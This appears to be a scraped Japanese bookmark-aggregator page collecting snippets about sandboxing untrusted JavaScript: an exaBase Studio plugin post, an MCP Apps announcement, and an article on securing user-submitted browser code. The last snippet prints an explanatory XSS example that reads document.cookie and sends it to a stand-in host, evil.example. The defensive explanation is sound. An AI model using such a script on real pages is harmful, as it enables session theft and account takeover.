第三者のJavaScriptをセキュアに実行するには？― exaBase Studio のプラグイン機能
メリークリスマス🎄 Studio Application 開発グループの吉田です。 エクサウィザーズのAdvent Calendar 25日目、最終日です！ exaBase Studio に Figma みたいなプラグイン機能を入れたい これはけっこう前からずっと頭の片隅にあったアイデアでした。 exaBase Studio（エクサベース スタジオ）はアプリケーション開発基盤ですが、Figma のようなキャンバス画面を持っています。キャンバスを読み書きできるプラグインをユーザー自身が自由に開発できれば、Studioの機能を拡張することができます。 exaBase Studio とは exaBase Studio は、エクサウィザーズが提供するクラウドネイティブな AI サービス開発環境です。GUI でシステム設計ができ、ワンクリックで Kubernetes ベースの本番環境を自動構築でき
MCP Apps: Extending servers with interactive user interfaces
Introducing the MCP Apps Extension proposal (SEP-1865) to standardize interactive user interfaces in MCP, developed with the MCP-UI creators and maintainers from OpenAI and Anthropic. November 21, 2025 · 5 min · Anton Pidkuiko (Maintainer), Olivier Chafik (Maintainer), Ido Salomon (MCP-UI), Liad Yosef (MCP-UI), Nick Cooper (Core Maintainer), Sean Strong (Anthropic), Jerome Swannack (Anthropic), Al
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
iframe sandboxでユーザー入力スクリプトを実行する
